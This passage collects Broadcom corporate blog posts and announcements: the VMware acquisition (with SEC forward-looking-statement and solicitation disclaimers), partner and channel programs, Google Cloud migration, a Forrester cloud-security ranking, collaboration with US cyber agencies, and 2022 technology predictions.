economic, business, competitive and regulatory nature.
These risks, as well as other risks related to the proposed transaction, are included in the registration statement on Form S-4 and proxy statement/prospectus that has been filed with the Securities and Exchange Commission (“SEC”) in connection with the proposed transaction. While the list of factors presented here is, and the list of factors presented in the registration statement on Form S-4 are, considered representative, no such list should be considered to be a complete statement of all potential risks and uncertainties. For additional information about other factors that could cause actual results to differ materially from those described in the forward-looking statements, please refer to Broadcom’s and VMware’s respective periodic reports and other filings with the SEC, including the risk factors identified in Broadcom’s and VMware’s most recent Quarterly Reports on Form 10-Q and Annual Reports on Form 10-K. The forward-looking statements included in this communication are made only as of the date hereof. Neither Broadcom nor VMware undertakes any obligation to update any forward-looking statements to reflect subsequent events or circumstances, except as required by law.
No Offer or Solicitation
This communication is not intended to and shall not constitute an offer to buy or sell or the solicitation of an offer to buy or sell any securities, or a solicitation of any vote or approval, nor shall there be any sale of securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. No offering of securities shall be made, except by means of a prospectus meeting the requirements of Section 10 of the U.S. Securities Act of 1933, as amended.
Additional Information about the Transaction and Where to Find It
In connection with the proposed transaction, Broadcom has filed with the SEC a registration statement on Form S-4 that includes a proxy statement of VMware and that also constitutes a prospectus of Broadcom. Each of Broadcom and VMware may also file other relevant documents with the SEC regarding the proposed transaction. The registration statement has not yet become effective and the proxy statement/prospectus included therein is in preliminary form. This document is not a substitute for the proxy statement/prospectus or registration statement or any other document that Broadcom or VMware may file with the SEC. The definitive proxy statement/prospectus (if and when available) will be mailed to stockholders of VMware. INVESTORS AND SECURITY HOLDERS ARE URGED TO READ THE REGISTRATION STATEMENT, PROXY STATEMENT/PROSPECTUS AND ANY OTHER RELEVANT DOCUMENTS THAT MAY BE FILED WITH THE SEC, AS WELL AS ANY AMENDMENTS OR SUPPLEMENTS TO THESE DOCUMENTS, CAREFULLY AND IN THEIR ENTIRETY IF AND WHEN THEY BECOME AVAILABLE BECAUSE THEY CONTAIN OR WILL CONTAIN IMPORTANT INFORMATION ABOUT THE PROPOSED TRANSACTION. Investors and security holders may obtain free copies of the registration statement and proxy statement/prospectus and other documents containing important information about Broadcom, VMware and the proposed transaction, once such documents are filed with the SEC through the website maintained by the SEC at http://www.sec.gov. Copies of the documents filed with the SEC by Broadcom may be obtained free of charge on Broadcom’s website at https://investors.broadcom.com. Copies of the documents filed with the SEC by VMware may be obtained free of charge on VMware’s website at ir.vmware.com.
Participants in the Solicitation
Broadcom, VMware and certain of their respective directors and executive officers may be deemed to be participants in the solicitation of proxies in respect of the proposed transaction. Information about the directors and executive officers of Broadcom, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in Broadcom’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on February 18, 2022, and Broadcom’s Annual Report on Form 10-K for the fiscal year ended October 31, 2021, which was filed with the SEC on December 17, 2021. Information about the directors and executive officers of VMware, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in VMware’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on May 27, 2022, VMware’s Annual Report on Form 10-K for the fiscal year ended January 28, 2022, which was filed with the SEC on March 24, 2022, a Form 8-K filed by VMware on April 22, 2022 and a Form 8-K filed by VMware on May 2, 2022. Other information regarding the participants in the proxy solicitations and a description of their direct and indirect interests, by security holdings or otherwise, are or will be contained in the proxy statement/prospectus and other relevant materials to be filed with the SEC regarding the proposed transaction when such materials become available. Investors should read the proxy statement/prospectus carefully before making any voting or investment decisions. You may obtain free copies of these documents from Broadcom or VMware using the sources indicated above.
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Broadcom and VMware: Planning for the Next Generation of Infrastructure Software
Helping customers and partners meet the needs of the future
In late May we announced our agreement to acquire VMware. Since that time, we’ve been meeting with many VMware customers and partners to tell them more about how this combination will deliver compelling benefits to them. We’ve also kicked off planning efforts for the post-closing company.
VMware is an iconic software company with a vibrant ecosystem, including hyperscalers, system integrators and channel partners. We don’t want to change any of that, and in fact, we want to embrace those relationships. We have tremendous respect for what VMware has built, supported by a skilled team of engineering talent. It is for all these reasons and more that we’ve committed to rebrand Broadcom Software Group as VMware.
Bringing VMware’s multi-cloud offerings and Broadcom’s software portfolio together after the deal closes will enable customers greater choice and flexibility to build, run, manage, connect and protect traditional and modern applications at scale across diversified, distributed environments. Simply put, this combination will help customers better meet the demands of the incredibly complex IT landscape head on. We share VMware’s commitment to working in close partnership with customers on joint engineering and innovation initiatives to drive enhanced value and performance.
The existing Broadcom Software business – including our portfolio of Value Stream Management, AIOps and Observability, Cybersecurity, Enterprise Automation and Continuous Delivery solutions – will be offered alongside the VMware solutions for cloud infrastructure, modern applications and anywhere workspace after the deal closes. Following the anticipated rebrand, customers will have the ability to purchase from the new VMware a broad portfolio of solutions that help enterprises build, manage and secure a wide variety of applications – from mainframe to client server to cloud-native via Kubernetes – and more securely deliver amazing end user experiences to any device anywhere. All of this means we will be placing more choice in customers’ hands.
Broadcom’s Commitment
Delivering on this value proposition has never been more critical, and we recognize that enterprise customers are relying on both companies for high-performing and ubiquitous access to their critical applications. We have been listening closely to customer and partner feedback, and we are committed to getting it right.
We are approaching the post-closing planning phase of the transaction process with an open mind, while drawing from the lessons learned from our previous acquisitions of CA and Symantec Enterprise. This means that we’ll be working in close coordination with VMware to learn more about their go-to-market, product portfolio, approach to innovation, engineering talent, partner network and, of course, strong customer footprint.
The insights we’re gaining are only strengthening our confidence in the future of a combined Broadcom Software and VMware. VMware has great technology and respected products that will remain a source of significant value to the combined company going forward after the deal closes. And we recognize the central role that VMware’s deep customer relationships play in its success. Broadcom wants to preserve and grow these relationships – we’ll be investing in both the direct sales force across all key verticals as well as the partners that support the broader customer base.
From a product portfolio standpoint, this transaction presents a tremendous opportunity to advance our mutual focus on innovation. We recognize that customers value VMware because of its strong history of innovation and technology leadership. Broadcom also has a proud track record of significant R&D investment – as a company, we’ve grown total R&D spending 24x since 2009 – and this will remain a top priority after the deal closes with VMware as part of Broadcom. A key pillar of the combined company’s innovation roadmap will be to retain and support VMware’s engineering and R&D talent, and we are committed to this effort as we progress toward closing the transaction and thereafter.
All this said, we are still in the early days of this exciting journey. We will be carefully evaluating the proposed combined footprint and operating model of Broadcom Software plus VMware, and we will be approaching each decision with a commitment to transparency, innovation, value creation and maintaining the highest-quality experience for customers and partners. We will continue to welcome input from VMware leadership, employees, customers and partners as we plan for this next chapter, and we look forward to keeping you updated.
Additional Information about the Transaction and Participants in the Solicitation
Broadcom Inc. (‘Broadcom”) intends to file with the SEC a Registration Statement on Form S-4 that will include a proxy statement of VMware, Inc. (“VMware”) and that also constitutes a prospectus of Broadcom, as well as other relevant documents concerning the proposed transaction. We urge investors to read the proxy statement/prospectus and any other documents filed with the SEC in connection with the proposed transaction or incorporated by reference in the proxy statement/prospectus, if and when they become available, because they will contain important information. Investors may obtain these documents free of charge at the SEC’s web site (www.sec.gov). In addition, the documents filed with the SEC by Broadcom may be obtained free of charge on Broadcom’s website at https://investors.broadcom.com. Copies of the documents filed with the SEC by VMware will be available free of charge on VMware’s website at ir.vmware.com. The directors, executive officers, and certain other members of management and employees of VMware and Broadcom may be deemed to be participants in the solicitation of proxies in favor of the proposed transactions. Information about the directors and executive officers of Broadcom, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in Broadcom’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on February 18, 2022, and Broadcom’s Annual Report on Form 10-K for the fiscal year ended October 31, 2021, which was filed with the SEC on December 17, 2021. Information about the directors and executive officers of VMware, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in VMware’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on May 27, 2022, VMware’s Annual Report on Form 10-K for the fiscal year ended January 28, 2022, which was filed with the SEC on March 24, 2022, a Form 8-K filed by VMware on April 22, 2022 and a Form 8-K filed by VMware on May 2, 2022.
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Broadcom Announces Expert Advantage Partner Program
Driving superior customer value and successful outcomes at every stage of the journey
Today’s leading multinational companies face a daunting task: continue to innovate, deliver powerful customer experiences, accelerate growth through new services, optimize for efficiency, and keep everything protected. Oftentimes executives leading a digital transformation may or may not be engaged with executives who lead cyber security or with executives who lead IT Operations.
Multinational companies with complex hybrid environments need a strategic software partner—not a vendor—who takes an R&D-first approach to developing a comprehensive portfolio of industry-leading enterprise software solutions. We recognized this critical need and created a new group focused exclusively on business-critical enterprise solutions for complex environments: Broadcom Software. This new group offers leading solutions for mainframe, cyber and payment security, and enterprise software via a simplified flexible business model designed to scale and meet the needs of the world’s largest multinational companies.
One key to Broadcom ensuring customer success is providing superior services, support, and tools that will help our customers drive pivotal business outcomes and move their business forward. That’s why today, Broadcom Software is announcing our new Expert Advantage Partner Program, built with our customers’ success in mind. This new services-oriented partner program will ensure that as customers continue their digital transformation and grow their business, we provide customers what is needed throughout the entire lifecycle.
As one of the world’s largest software providers, Broadcom Software realizes that partners are a key tool to assist with customer success. The Expert Advantage Partner Program, as a multi-phase rollout, will benefit both partners and customers around the globe, wherever they are on their digital transformation journey. Built on an already robust CRN 5-Star awarded Advantage Partner Program, Expert Advantage expands Broadcom Software’s services partner ecosystem – from a single strategic partnership to several strategic partners to ensure we are meeting our customers where they are on their journey. Some key benefits include:
Partners will be highly capable and certified across the globe, allowing for language, location, etc. extending Broadcom’s ability to help customers
Partners will be product certified to insure the most up-to-date technology and product knowledge for customers
Professional Services will part of the offering to our customers via partners or direct
The Expert Advantage program is an exciting development in Infolock’s strategic relationship with Broadcom Software. By better aligning our service offerings with Broadcom’s sales and go-to-market strategy, customers can expect improved outcomes and increased value from their Broadcom investments. We look forward to playing a critical role in Broadcom Software’s commitment to customer success. - Chris Wargo, CISSP, CISA, Managing Partner, Infolock
To make it easy for customers to find a services partner, we will also be introducing an Expert Advantage Partner Finder, a customer-facing search tool that will allow customers to easily find a preferred partner that matches their needs and geography. Simply go to the tool, apply the criteria most important to you, and make the best choice for your software partner. With the Expert Advantage Partner Finder you will see important partner details such as:
Countries
Languages
Certifications
Engagements Completed
Service Capabilities
Solution Areas
Gallery (videos)
Key Assets
At Broadcom Software we believe it is important that our customers know that the company they depend on to power their business and drive success through business-critical software, is invested in customer success. By not only offering the best in class software in the industry, but also a robust partner program we are investing in the future. Remember that daunting task that multinational companies face, where one executive may or may not be engaged with others? It is our partners who help connect the dots—and the executives—inside customer organizations and projects. That’s the value of a strong partner community supported by strong programs. The announcement of our new Expert Advantage Partner Program is the first of many examples of how we plan on continuing to lead the software industry into the future.
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Broadcom at Google Cloud Next 2023
Generative AI and cloud optimization
Google Cloud Next 2023, Google Cloud’s annual user conference, is usually devoted to all things cloud. And so it was this year, but the excitement – no surprise – centered on the new ways that cloud infrastructure will support the exploding growth of Artificial Intelligence.
It’s easy to understand why Thomas Kurian, the CEO of Google Cloud hyped this moment as “one of the most profound shifts in human history,” during his keynote on the first day of the conference. Generative AI is poised to lead to major changes in how developers and organizations work.
Setting Proper Guard Rails
Broadcom, who had booths, demos and speakers at Google Cloud Next, is working to address the myriad of security and privacy issues that Generative AI brings and was a clear topic of debate among speakers at Google Cloud Next.
“[Generative AI] lowers the bar for attackers,” noted Tobias Pischl, the head of Product Information and Messaging Security for Broadcom’s Symantec Enterprise division. During a presentation he gave on the show floor, he also pointed to the legal issues it raises around an organization’s potential liability.
Given how new Gen AI apps appear all the time, Pischl said it’s critical that companies make sure they have visibility around Gen AI app usage inside their organizations. He added that companies will need to figure out how to provide a safe environment so that sensitive data isn’t leaking into any Gen AI apps used by their employees. None of this is trivial and judging by the number of attendees who turned out to hear Pischl’s presentation, it’s clearly top of mind for many attendees flummoxed by the same question.
Cloud Infrastructure Making a Difference
With all the understandable hubbub over Gen AI, this conference is still about cloud computing and the role it occupies in fostering digital transformation. That’s where Ganesh Janakiraman, who heads up Platform Engineering for Broadcom, had quite the story to share.
In 2018, Broadcom began to shift SaaS services to Google Cloud. Starting with Brocade, which Broadcom acquired a year earlier, the migration subsequently included Computer Associates and Symantec after their acquisition. In terms of the changes it ushered in, Janakiraman described a “transformative journey” that reduced costs and increased both efficiency and creativity.
“It was critical for us to empower our engineers,” he said. “It was very critical that [they be] at the center of this.”
But even as Broadcom began moving its SaaS services over to Google Cloud, Janakiraman recalled that the company was still relying on labs in data centers to test its on-prem products. That was both costly and inefficient using infrastructure “in all hues and shapes.”
Broadcom at Google Cloud Next 2023
Janakiraman said Broadcom replaced that approach with the Google Cloud platform so its departments could access on-demand provisioning where you pay only for what you need with the ability to stop, start and scale.
“It took us some time to get past the barriers,” he said. But it ultimately paid off. “We improved utilization to 60% and optimized cost by more than 40%.”
Thousands of Broadcom engineers now have access to cloud resources and deployments take minutes.
“We liberated the software development team,” he said. “Now they’re not worried about infrastructure...we freed them to do things they do best: software innovation.”
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Broadcom Collaborates with Google Cloud to Accelerate Software Innovation and Growth
Strategic partnership enhances Broadcom’s ability to deliver cloud-first software with speed, scale and efficiency
Broadcom Inc. (NASDAQ: AVGO) and Google Cloud announced a strategic partnership to deliver Broadcom’s security and enterprise software portfolio via Google Cloud’s trusted, global infrastructure. Leveraging Google Cloud, Broadcom accelerates innovation and integration of Broadcom’s core software franchises, further establishing Broadcom’s leadership as a top 10 global software company.
Google Cloud has been a key partner in accelerating Broadcom’s growth strategy and in building out the Broadcom Software portfolio including DevOps, ValueOps, NetOps and Payment Security technologies. With a focus towards a fully integrated cloud-based portfolio, Broadcom has now successfully migrated Symantec Web Security Service (WSS) and Symantec Cloud Access Security Broker (CASB) and will soon complete the migration of its other cloud security software onto the Google Cloud infrastructure.
Moving Symantec’s extensive worldwide cyber security software portfolio to Google’s hyper-scale cloud architecture increases Symantec’s ability to scale and innovate faster to meet the growing needs of digital businesses globally.
With Google Cloud, Broadcom Software customers will see immediate benefits including:
Virtually infinite scalability: providing quick response to unpredictable changes
More consistent service levels: delivering improved resiliency to maintain global service in the face of unexpected issues
Most up-to-date technical requirements: supplying a more modern and dynamic architecture, to keep pace with the latest technical requirements, for state-of-the-art cyber security solutions
Immediate architectural updates: delivering updates without any action, reducing the number of upgrades required and lowering their maintenance costs
Seamless global cloud experience: interconnecting with more networks and content providers, for a seamless cloud experience—with reduced latency issues
We are excited to partner with Google to meet the complex security challenges of our customers and deliver leading integrated cyber security offerings that enable organizations to run their most critical workloads in the cloud, confidently and securely.
Read more about this partnership and current application in these blogs:
Continuous migration to Cloud SQL for terabyte-scale databases with minimal downtime
Broadcom improves customer threat protection with flexible data management
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Broadcom: From Silicon to Software
Over 50 years of innovation and engineering excellence
The History of Innovation at Broadcom
The Broadcom Inc. we know today first began more than 60 years ago as a semiconductor division of Hewlett-Packard in Palo Alto, CA. Since then, our foundational innovations have formed the building blocks of the transformational technologies that shape our lives today—our smartphones, our streaming services and our Wi-Fi, to name but a few. In fact, we estimate that more than 99 percent of all internet traffic crosses at least one Broadcom chip. That’s why Broadcom is what enables the great innovators of the world to keep on innovating.
Since graduating from Massachusetts Institute of Technology (MIT) and embarking on my career, I've had the good fortune to work for many American companies on the cutting edge of technology. Broadcom, however, has proven to be the most pioneering by far, thanks to our strong engineering teams and our focus on continual delivery of new technology and customer value.
One of the advantages we deliver to our customers—who are all innovators in their own right—is access to our broad base of core technologies encompassing the complete design space from silicon to software. Broadcom’s global scale, engineering depth, broad intellectual property and product portfolio, superior execution and operational focus allow us to deliver category-leading semiconductor and infrastructure software solutions, so our customers can build and grow successful businesses in a rapidly changing world.
Broadcom, however, has proven to be the most pioneering by far, thanks to our strong engineering teams and our focus on continual delivery of new technology and customer value.
As a global infrastructure technology leader built on decades of invention, collaboration and engineering excellence, Broadcom’s journey is the history of American innovation. Broadcom’s recent technological breakthroughs listed below and our company history here show that our innovative breakthroughs grow each year. As a U.S. company, we take pride in delivering leading-edge technologies focused on, for example, cybersecurity and the multi-cloud ecosystem, to critical industries and U.S. government agencies, as well as to government partners around the globe, allowing them to better serve their stakeholders and maximize their impact.
With roots based in the rich technical heritage of AT&T/Bell Labs, Lucent and Hewlett-Packard/Agilent, Broadcom’s focus is on technologies that connect our world. I am very proud that through the combination of industry leaders Avago, Broadcom, LSI, Brocade, CA Technologies and Symantec (and soon, VMware), our company has the size, scope and engineering talent to lead and innovate well into the future, especially in areas such as critical infrastructure, national security, cybersecurity and multi-cloud technology.
I look forward to sharing more about our commitment to innovation in future blogs, and also to highlighting some exciting areas that will shape the future of technology.
Broadcom Innovation at Work
Broadband: End-to-End Solutions
Full-duplex DOCSIS 4.0 modem technology delivering multi-gigabit broadband speeds to the home.
Complete end-to-end chipset solutions for the Wi-Fi 7 ecosystem spanning wireless routers, residential gateways, enterprise access points and client devices.
Networking: High-Performance Connectivity
Highest Bandwidth Switch Chip, in the industry, to Accelerate Artificial Intelligence/Machine Learning Workloads, 51.2 Tbps.
Disruptive co-packaged optics innovation enabling 30% power consumption savings and 40% lower optics cost per bit for cloud infrastructure.
Server/Storage Connectivity: On-Premises and Cloud
Industry's first 64G end-to-end Fibre Channel solution from host bus adapter to switch.
Connectivity portfolio of PCIe Gen 5.0 products featuring some of the lowest power, highest lane count and lowest latency available in the industry.
Wireless: Mobile Device Connectivity
World’s lowest power and compact L1/L5 GNSS receiver, ideal for space-constrained applications like smartphones and smartwatches.
Advanced inductive charging ASIC solutions delivering superior power efficiency for mobile and wearable devices.
Industrial: Automation, Renewable & Automotive
Industry’s highest bandwidth monolithic automotive Ethernet switch addressing the growing bandwidth need for in-vehicle networking applications.
Precise motion encoders for LiDAR applications used in ADAS and navigation system of EVs, robotics and drones.
Software
Our AIOps, DevOps and Value Stream Management solutions span the software development lifecycle, optimizing customer experience from mobile to mainframe.
Cybersecurity solutions from Symantec and payment authentication software from Arcot ensure security in today’s hyper-connected world.
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Broadcom Named a Leader in Cloud Security Gateways
Broadcom’s Symantec DLP Cloud named a leader in the 2021 Forrester Cloud Security Wave
Symantec, as a division of Broadcom, is excited to announce that we have been named a Leader in The Forrester Wave™: Cloud Security Gateways, Q2 2021.
Forrester rigorously evaluated the 8 most significant cloud security gateway vendors across 29 criteria, in three distinct areas: Current Offering, Strategy and Market Presence. We’ve invested significantly in our cloud security offerings, and view Forrester’s assessment as validation of our continued innovation, strong execution and vision. Symantec continues to serve our customers and provide a comprehensive and dependable solution to protect all of our customer’s data in the cloud.
Forrester Wave™ Leader: Cloud Security Gateways, 2021
The Importance of Both Proxy Based and API-Connectivity
One of the recommendations Forrester makes is that organisations should seek solutions that offer the flexibility of proxy technology for inline network traffic monitoring. To support remote work scenarios they observed that “API-based connectivity to cloud apps to detect data leaks, malware, threats, and anomalous activities is critically important.” Symantec’s CloudSOC solution is fully integrated with Symantec’s cloud-native Web Security Service and offers API connectors for many SaaS applications.
In our view, this report recognizes the strength and breadth of our cloud security portfolio; with the highest scores possible in the following criteria:
Cloud Threat Detection
Cloud Malware Protection
DLP Reporting and Integration
DLP Policy Management
User Threat Protection
CloudSOC has also made vast advancements in its unification of DLP, Role Based Access Controls, API integrations and its expanded coverage of SaaS applications.
Unification of DLP
Provides CloudSOC customers the ability to use their existing policies configured in Symantec’s standalone DLP product and apply them to cloud apps via CloudSOC Gateway.
Role Based Access Controls
To make it easier for admins to adhere to regulations based on geographic locations, CloudSOC implemented Role Based Access Controls (RBAC) Enforcement through AD Groups to create logical partitions within a single tenant. The partitions could be based on apps within CloudSOC or users and their data.
API Integrations
For Business and Cloud Storage Apps: As customers are digitizing their IT workflows, they’re requesting the ability to scan those apps for DLP violations. CloudSOC now supports scanning of DLP violations for the leading app in that category from ServiceNow.
Securing the Future of Remote Work
To provide security management for unmanaged devices, we offer an innovative and elegant solution, CloudSOC Mirror Gateway. This offers a superior way to secure cloud access from your employee’s personal devices without the need of an agent. How? Our solution uses the strong, inline protection of Symantec CloudSOC CASB combined with our powerful browser isolation capabilities.
Wider industry recognition
We believe our strong cloud security offering speaks volumes, not only by Forrester but also further reinforced by other security analysts. We recently received an Innovation Leadership award for CASB by Frost & Sullivan and our rating in the KuppingerCole Market Compass Cloud Security report consistently displayed our strengths across multiple areas. These accolades underscore our leadership in cloud offering and strategy as the leader of the cloud security market.
The future is bright for Symantec
Symantec knows the future of SASE is tied to a rock solid Cloud Security execution. The makeup of our security combined with our Integrated Cyber Defense Strategy makes for a cohesive and winning combination. At the core of our strategy, is our data centric approach. Combined with the power of a strong security stack, this provides customers with the ability to respond to threats faster and reduces the risk of data loss.
With our recent partnership with Google and the migration of our security software migration to Google Cloud, we are able to scale and accelerate our cloud roadmap, improve latency for our customers and work more efficiently.
The future is bright for our customers with Symantec Cloud Security. Customers should know that our technology investment continues and we intend to continue our journey as an industry leader in security solutions.
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Broadcom Redefines the European Channel Model to Provide Greater Flexibility, Autonomy and Efficiency
Arrow Electronics and Broadcom collaboration helps streamline transactions, accelerate value and drive customer success
In the digital age, innovation is the driver of future success. That’s always been our customer focus at Arrow, and what we strive for in the market. It’s why “Five Years Out” is our way of thinking about the future and the technologies needed to make that future happen. And that’s why our strategic collaboration with Broadcom Software is a perfect fit for us – it enables us to innovate in the European market for the benefit of all our solution providers and their customers.
Broadcom has proven that they are a technology disruptor and have a history of redefining how business gets done while bringing new solutions to market. In many cases, their innovations are shaping the direction and success of their customers, and form an integral part of their enterprise, security and cloud computing strategies.
Now, in cooperation with Arrow, Broadcom is bringing that vision and innovation to a Go-To-Market (GTM) strategy for the European mid-market and small-to-medium business (SMB) channel. Under this new selling approach, all Symantec businesses not directly managed by Broadcom, are now Arrow’s exclusive responsibility. This new GTM strategy transforms the way solution providers can add value and it redefines the role of the distributor. And importantly everyone in the sales chain benefits; from the manufacturer, distributor, solution provider and the end-user. So how does it work?
Beyond Distribution
This new business model, known as the ‘Cybersecurity Aggregator Program’, significantly transforms the role of Arrow in mid-market and SMB channel sales, giving us a more pivotal role in defining and driving strategy. Historically the software vendor has been responsible for managing the channel sales business, leaving little room and flexibility to localise programs or negotiate deals. The Cybersecurity Aggregator program turns that model upside down. Now, Arrow, as the Aggregator, is entirely responsible for defining the channel sales strategy and independently driving the Go-To-Market initiatives for Broadcom’s Symantec products and services in the European mid-market and SMB space.
This marks a huge departure from the traditional vendor-channel relationship and is tremendously exciting for all of us involved in European mid-market and SMB channel sales. At a stroke, we have moved ‘Beyond Distribution’, and now cover the entire pre & post-sales cycle, servicing customers faster and more efficiently. And, with additional resources and investments, we are helping resellers to run more profitable, predictable operations, with flexibility to develop business.
This new strategy works well. It combines Arrow’s ability to reach the broadest European audience of channel reseller partners, with a new-found flexibility to create our own compelling programs to expand business opportunities for our resellers. And that all adds up to better customer outcomes.
You could say the sum of the parts is greater than the whole.
This is how our 1 + 1 = 3 approach works:
Arrow, as Broadcom’s exclusive Cybersecurity Aggregator; championing the Symantec brand and Broadcom technologies, brings unique GTM programs that drive awareness and create demand
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Our resellers serve as the front-line of support for their mid-market and SMB customers benefiting from Arrow’s additional resources and their own invaluable expertise
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A Win-Win-Win Value Proposition
Collaborating with Broadcom
Our collaboration with Broadcom brings to life our GTM—Win-Win-Win Value Proposition”— for our partner ecosystem and their end-user customers. Pairing Broadcom’s technology strengths with Arrow’s channel expertise ensures that channel partners and their end-user customers get a whole greater than the sum of its parts. It provides the best security software solutions and services, in the most efficient and cost-effective way possible, through a business model that de-risks investment, while providing unique benefits for all.
More autonomy, faster decision making, greater efficiencies and ultimately the room to grow and accelerate revenue. Service and sales can be much more responsive to customer needs and those who know their customers best can respond at speed, providing even greater value.
Greater Customer Benefits
The customer is front and centre in this new business model. We now have unlimited scope to provide targeted programs and offers, and to help ensure customers can engage more easily with Broadcom’s Symantec Cybersecurity solutions. Our exclusive autonomy over the mid-market and SMB & unmanaged business allows us to support our resellers faster and more efficiently at a local level. This in turn will enable the customer to deploy the best cybersecurity software on the market with the best possible support during their decision-making process and beyond.
The new Cybersecurity Aggregator model benefits resellers and customers in many ways:
Reseller Advantages:
Easy access to the broadest cybersecurity portfolio
Faster & more predictable procurement process
More opportunities and unrivalled rewards to increase profitability
New tools and services to drive customer value, locally
Customer Advantages:
Industry-leading, integrated hybrid-capable Symantec portfolio
Simplicity for users with maximum security
Flexible pricing programs to accelerate time to value
Outstanding user experience
Reduced total cost of ownership
Taken together, these innovations are reshaping the European channel sales model and are creating a whole that is greater than the sum of its parts. And that’s a Win-Win-Win Value proposition for all.
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Broadcom Software & the U.S. Government: Partners on Cyberdefense
Planning for the future of secure enterprises
I recently visited Washington, D.C. to meet with policymakers and government customers to talk about the future of cybersecurity. Broadcom Software solutions secure digital operations across the federal government, and our Global Intelligence Network (GIN) evaluates and shares insights on the ever-evolving cyberthreat landscape with U.S. law enforcement and intelligence agencies to ensure the safety and security of our critical infrastructure customers and the cyber ecosystem.
During my visit, I had the honor of meeting two superb public servants working to secure our global information technology infrastructure: National Cyber Director (NCD) Chris Inglis and Cybersecurity and Infrastructure Security Agency (CISA) Director Jen Easterly. President Biden could not have selected two more talented and experienced leaders to work closely with the world’s leading IT security companies and IT-dependent government agencies that comprise our virtual and physical critical infrastructures.
JCDC Collaboration
It can’t be overstated: without public-private collaboration to secure our critical virtual and physical networks, economies and governments around the world would be at the mercy of bad actors. It’s in that commitment of collaboration to better protect critical infrastructures that I was proud to be nominated by the President of the United States to serve on the National Security and Telecommunications Advisory Committee (NSTAC), and why Broadcom Software was honored to accept Jen Easterly’s invitation to be one of the first private sector “alliance members” in CISA’s Joint Cyber Defense Collaborative (JCDC).
Formed in August 2021, the JCDC is an action-driven forum that brings together federal agencies and the private sector to strengthen the nation’s cyberdefenses through better planning, preparation, and information sharing. The JCDC showed quickly it could make a difference: In February 2022, our threat hunters uncovered Daxin, a sophisticated malware being leveraged as an espionage tool. We discovered that Daxin was targeting foreign governments that were not our customers. Thanks to our engagements with CISA through the JCDC, we informed the CISA team of the threat, and they connected us with the appropriate officials from the targeted foreign governments. Together, we were able to detect the malware and remediate infected computer systems. Jen and the CISA team also issued a Current Activity alert that linked to a Broadcom-published blog, alerting other government and critical infrastructure networks about Daxin.
The Future
Given the success of the JCDC, and Broadcom’s overall engagement with the federal government, you can imagine how thrilled and honored I was to meet Chris and Jen in person and talk about additional ways we can deepen an already creative, collaborative, and productive partnership.
As the NCD, Chris and his team are developing a national cyber strategy that they will be presenting to the President later this year. Chris has written that to better protect the cyber landscape, we will need to shift the burden away from individual end-users of IT products toward larger, better-resourced private and public organizations. Rather than leaving it to end-users to find and add security to the IT products and services they use on their own, Chris would like to see security developed and integrated into the overall IT infrastructure more holistically. Broadcom Software has already undertaken a number of initiatives designed to build-in security in the development, implementation, and maintenance of our products, ranging from supply chain hardening to Zero Day prevention and notification. Not every vendor takes these types of proactive measures, which presents policymakers with important questions on whether it’s better to regulate or to incentivize this shift, or to use a combination of both. While there are no straightforward answers to these questions, Broadcom Software will continue to offer safe and secure products.
It can’t be overstated: without public-private collaboration to secure our critical virtual and physical networks, economies and governments around the world would be at the mercy of bad actors.
Chris and Jen also have been tremendous advocates to promote private and public initiatives to build a stronger cyber workforce. And they are taking steps to do something about it. The most important assets essential to the security of IT networks and law-abiding nations are the talented professionals who make cybersecurity their cause and calling. Yet, skilled IT workforce shortages require both expanding and upgrading our overall talent pipeline, as well as improving communications between and within governments and the private sector. Jen has been highlighting CISA’s Cyber Innovation Fellows initiative, where private sector employees can be “detailed” to CISA part-time for up to six months to better understand CISA and work to build stronger relationships between the public and private sector. Jen was inspired by a similar program run by the National Cyber Security Centre (NCSC) in the UK, which has been enormously successful. And Chris recently hosted the National Cyber Workforce and Education Summit at the White House, which focused on building our nation’s cyber workforce by improving skills-based pathways to cyber jobs and educating Americans so that they have the necessary skills to thrive in our increasingly digital society.
While these are important initiatives, what resonated with me most in our meetings is the value of Broadcom’s partnerships with the public sector, and especially with leaders like Jen and Chris and their exceptional teams. Meeting them during my visit was an important milestone for Broadcom Software, but more meaningful to me and our team is the continued collaboration and positive impact we will have going forward to protect critical infrastructures across government and industry.
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Broadcom Software 2022 Predictions
Tackle complex problems at scale with a trusted partner
As the end of 2021 approached, the process of digital acceleration, in a world turned upside down by a lingering global pandemic, remains. Even if Covid-19 recedes from the headlines, ongoing digital transformation at scale looks set to continue to accelerate well into 2022 with organizations looking to reap the full benefits of technology to become more productive and more efficient. What will all this mean for the software world? Any set of predictions about the coming 12 months is by definition always a fraught exercise, and we know at Broadcom Software to always expect the unexpected. That said, enjoy reading about what we anticipate you can expect in FY'2022 as you get ready to celebrate the New Year!
Zero Trust becomes table stakes
The focal point of the Zero Trust model is that enterprise data needs to be protected at all costs. That’s why it’s so vital to develop a security plan that starts with the assumption that a breach has occurred. But until recently, organizations have mostly relied on VPNs to help employees connect remotely. That’s going to change in 2022 with organizations adopting Zero Trust as their MO to shore up their endpoints and protect their data.
AI assumes an ever-larger role in software
Expect to see Artificial Intelligence (AI) feature in a range of activities, such as AI-driven services and development tools with AI bots being used in software testing. And as AI and machine learning methods become increasingly widespread, more enterprise software developers will rely upon them to create software code.
Edge Computing finally goes mainstream
This trend has been underway for years but the avalanche of data being generated will give Edge a huge push forward. Organizations will rely on edge devices that can run autonomously from the rest of the network and respond in real-time and make sense of the seemingly infinite streams of data picked up by their sensors.
A game-changer for cyber security management
Cyber security is a shared, global problem that demands a concerted, global response. Which is why the Cyber Defence Centre (CDC), a new framework that helps ensure members are equipped with the right training, services, and technologies is so important. Given how rapidly the cyber security world is changing, fragmented organizational responses won’t be enough to fend off today’s global threat actors. But now, a framework provides a scoring system to help determine how security services are implemented, including insourcing, outsourcing, or some combination of the two.
Watch Video: Who Is Broadcom Software
CNPs emerge from the shadows
